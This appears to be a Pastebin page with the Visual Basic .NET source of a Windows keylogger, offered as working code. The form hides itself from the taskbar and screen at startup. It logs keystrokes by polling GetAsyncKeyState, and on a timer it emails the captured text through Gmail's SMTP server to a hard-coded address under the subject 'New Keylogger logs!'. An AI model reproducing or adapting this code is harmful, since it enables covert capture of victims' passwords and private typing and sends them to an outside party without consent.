Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Option Strict On
- Imports System.Net.Mail
- Public Class Form1
- Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer
- Private Sub TmrEmail_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TmrEmail.Tick
- Try
- Dim SmtpServer As New SmtpClient
- SmtpServer.EnableSsl = True
- Dim Mail As New MailMessage
- SmtpServer.Credentials = New Net.NetworkCredential("account@gmail.com", "password2")
- SmtpServer.Port = 587
- SmtpServer.Host = "smtp.gmail.com"
- Mail = New MailMessage
- Mail.From = New MailAddress("account@gmail.com")
- Mail.To.Add("account@gmail.com")
- Mail.Subject = ("New Keylogger logs!")
- Mail.Body = txtLogs.text
- SmtpServer.Send(Mail)
- Catch ex As Exception
- Me.Close()
- End Try
- End Sub
- Private Sub TmrKeys_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TmrKeys.Tick
- Dim result As Integer
- Dim Key As String
- Dim i As Integer
- For i = 2 To 90
- result = 0
- result = GetAsyncKeyState(i)
- If result = -32767 Then
- Key = Chr(i)
- If i = 13 Then Key = vbNewLine
- Exit For
- End If
- Next i
- If Key <> Nothing Then
- If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
- txtLogs.Text &= Key
- Else
- txtLogs.Text &= Key.ToLower
- End If
- End If
- If My.Computer.Keyboard.AltKeyDown AndAlso My.Computer.Keyboard.CtrlKeyDown AndAlso Key = "H" Then
- Me.Visible = True
- End If
- End Sub
- Private Sub Form1_FormClosed(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosedEventArgs) Handles Me.FormClosed
- txtLogs.Text &= vbNewLine & "Keylogger stopped at: " & Now & vbNewLine
- End Sub
- Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
- Me.ShowInTaskbar = False
- Me.ShowIcon = False
- Me.Visible = False
- txtLogs.Text = "KeyLogger Started at: " & Now & vbNewLine
- End Sub
- End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement